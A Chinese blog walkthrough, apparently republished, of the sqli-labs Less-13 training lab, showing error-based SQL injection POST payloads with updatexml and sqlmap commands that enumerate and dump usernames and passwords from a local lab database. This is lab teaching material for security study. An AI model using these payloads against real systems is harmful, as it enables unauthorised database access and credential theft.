sqli-labs:Less-13关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
  • 注入类型:字符串型(单引号、括号包裹)、POST请求
  • 提示:参数需以')闭合

php输出语句的部分代码:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];//echo "<br>";//echo 'Your Password:' .$row['password'];//echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"   />';	echo "</font>";
}

可以看到没有回显语句,那就需要用到盲注手段,首选报错盲注,问就是sql语句少:

  • 布尔盲注
  • 时间盲注
  • 报错盲注✅

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-13/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1') order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

在这里插入图片描述


2.2. 获取数据库⚡

uname=1') and updatexml(1,concat(1,(select database())),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

uname=1') and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

uname=1') and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) #
&passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

uname=1') and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3)#
&passwd=admin&submit=Submit

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
')闭合符号id=1')
#注释符#
order by判断字段数order by 3
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-13/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-13/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

关于post请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91339.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91339.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微软发布Microsoft Sentinel数据湖国际版

在网络安全威胁持续升级的背景下&#xff0c;微软宣布推出Microsoft Sentinel数据湖&#xff08;国际版&#xff09;&#xff0c;以突破性架构重塑企业安全运营能力。该产品目前已进入公开预览阶段&#xff0c;标志着安全信息与事件管理&#xff08;SIEM&#xff09;领域正式迈…

力扣面试150题--只出现一次的数字II

Day 92 题目描述思路 初次思路&#xff1a;想不出来 哈哈哈指挥hash 就不放出来丢人了 题解思路&#xff1a;这个做法是每次确定一个位是否为答案为1 的位 具体是这样的&#xff1a;由于除了答案外每个数字都会出现3次&#xff0c;那么我们不考虑答案的情况&#xff0c;那么一个…

cacti的RCE

一、环境搭建 1、安装docker curl -fsSL https://get.docker.com | sh 验证docker是否正确安装 docker version 验证docker compose是否可用 docker compose version 2、在GitHub上拉取 vulhub 首先先装一个proxychains网络代理工具&#xff0c;如果直接拉取的话速度会…

Spark SQL 的 SQL 模式和 DSL模式

下面我将详细讲解如何使用 Spark SQL 分别通过 SQL 模式和 DSL&#xff08;Domain Specific Language&#xff09;模式实现 WordCount 功能。WordCount 是大数据处理中的经典案例&#xff0c;主要功能是统计文本中每个单词出现的次数。准备工作首先需要初始化 SparkSession&…

03 基于sklearn的机械学习-线性回归、损失函数及其推导

线性回归 分类的目标变量是标称型数据&#xff0c;回归是对连续型的数据做出预测。 一、标称型数据&#xff08;Nominal Data&#xff09; 标称型数据属于分类数据&#xff08;Categorical Data&#xff09; 的一种&#xff0c;用于描述事物的类别或属性&#xff0c;没有顺序或…

TTS语音合成|f5-tts语音合成服务器部署,实现http访问

p; 上篇文章分享了如何使用GPT-SoVITS实现一个HTTP服务器&#xff0c;并通过该服务器提供文本到语音&#xff08;TTS&#xff09;服务。今天&#xff0c;我们将进一步探讨如何部署另一个强大的TTS模型——f5-tts。这个模型在自然语音生成方面表现出色&#xff0c;具有高度的可…

【Golang】Go语言指针

Go语言指针 文章目录Go语言指针一、指针1.1、Go语言中的指针1.1.1、指针地址和指针类型1.1.2、指针取值1.1.3、空指针1.1.4、new和make1.1.5、new1.1.6、make1.1.7、new与make的区别一、指针 区别于C/C中的指针&#xff0c;Go语言中的指针不能进行偏移和运算&#xff0c;是安全…

EMC的一些简单常识

ESD测试比对 & 需要做到动作 试验&#xff1a; -780系统&#xff0c;板子直流地 和 PE连接&#xff08;主板PE & DC-分开&#xff0c;但是前端板PE & DC-连接&#xff09;&#xff0c;只能承受1K接触放电。 -780系统&#xff0c;板子直流地 和 PE分开&#xff08;主…

Day4||vue-计算属性

一.定义概念&#xff1a;基于现有的数据&#xff0c;计算出来的新属性。依赖的数据变化&#xff0c;自动重新计算。语法&#xff1a;声明需要放在computed的配置项中&#xff0c;一个计算属性对于一个函数。使用起来和普通属性一样使用{{计算属性名}}计算属性->可以将一段求…

编程算法在金融、医疗、教育、制造业等领域的落地案例

随着人工智能与大数据技术的迅猛发展&#xff0c;编程算法已从理论研究走向实际应用&#xff0c;在金融、医疗、教育、制造业等多个关键领域实现了深度落地。这些算法不仅提升了业务效率&#xff0c;还推动了行业智能化转型。本文将系统性地分析编程算法在四大核心领域的典型应…

vue npm install卡住没反应

install某个插件的时候&#xff0c;发现卡住不动&#xff0c;可以尝试以下解决方法 1.使用–verbose查看安装详情 npm install consola --verbose2.更换淘宝镜像&#xff08;一般都是淘宝镜像正式过期问题&#xff09; 查看当前镜像 npm config get registry更换淘宝镜像 第一种…

【Unity3D实例-功能-移动】角色移动-通过WSAD(CharacterController方式)

今天&#xff0c;我们就来聊聊如何在Unity中使用CharacterController组件&#xff0c;让角色能够灵活移动&#xff0c;在游戏世界里像风一样自由奔跑吧。废话不多说&#xff0c;走&#xff0c;让我们马上来一探究竟&#xff01;目录&#xff1a;1.准备模型2.动画的处理3.为角色…

AI Agent开发学习系列 - langchain之LCEL(4):Memory

Memory的添加方式 from operator import itemgetterfrom langchain.memory import ConversationBufferMemory from langchain_core.prompts import ChatPromptTemplate, MessagesPlaceholder from langchain_core.runnables import RunnableLambda, RunnablePassthrough from l…

向Coze学习,我们把这些工作流也开源了

要说现在最火的工作流是什么&#xff0c;那非视频工作流莫属了。我每天也都能接到不少咨询短视频工作流的需求。 这大半年来我们团队也制作和整理了超过 100 工作流&#xff0c;其中很大一部分都是现在最火的视频工作流。 为了向Coze开源致敬&#xff0c;这次我们斑码团队也决…

Git 从零开始:完整项目上传指南

一、准备工作 1. 安装 Git Windows&#xff1a;下载安装包macOS&#xff1a;在终端运行 brew install gitLinux&#xff1a; # Ubuntu/Debian sudo apt update && sudo apt install git# CentOS/Fedora sudo yum install git2. 配置用户信息&#xff08;首次使用&am…

【AI】入门级提示词模板:适用于ChatGPT、文心一言等主流模型

入门级提示词模板&#xff1a;适用于 ChatGPT、文心一言等主流模型**在当下这个人工智能飞速发展的时代&#xff0c;ChatGPT、文心一言等主流大模型已经广泛地融入到我们的工作与生活当中。不管是创作文章、生成代码&#xff0c;还是进行数据分析、获取创意灵感&#xff0c;这些…

如何解决 undetected_chromedriver 启动慢问题

要解决 undetected_chromedriver 启动慢的问题&#xff0c;可以从以下几个方面优化配置和代码&#xff1a; 1. 指定本地 Chrome 二进制路径 避免自动搜索 Chrome 路径&#xff0c;直接指定位置&#xff1a; driver uc.Chrome(browser_executable_pathrC:\Program Files\Google…

Python 程序设计讲义(42):组合数据类型——元组类型:创建元组

Python 程序设计讲义&#xff08;42&#xff09;&#xff1a;组合数据类型——元组类型&#xff1a;创建元组 目录Python 程序设计讲义&#xff08;42&#xff09;&#xff1a;组合数据类型——元组类型&#xff1a;创建元组一、元组的特征二、创建元组1、使用圆括号&#xff0…

windows 设置 vscode 免密远程

我们可以使用 vscode ssh 进行远程编辑文件项目。也可以使用 ssh 密匙 来实现免密登录。 本人在本地windows系统有多个密匙&#xff0c;使用 D:\SPB_Data\.ssh\id_rsa_local 进行本地设备进行登录。 在 vscode ssh 配置文件中添加 IdentityFile 配置 Host 本地设备ipHostName …

ubuntu自动搭建Android平台NDK编译环境

sh setup_ndk_env.sh自动下载NDK并解压 提取Android平台工具链 验证Android工具链 设置工具链变量 export CROSS_TRIPLE=aarch64_linux_android export CROSS_ROOT=/home/ubuntu/${CROSS_TRIPLE} export ANDROID_NDK=${CROSS_ROOT} export AS=${CROSS_ROOT}/bin/llvm-as exp…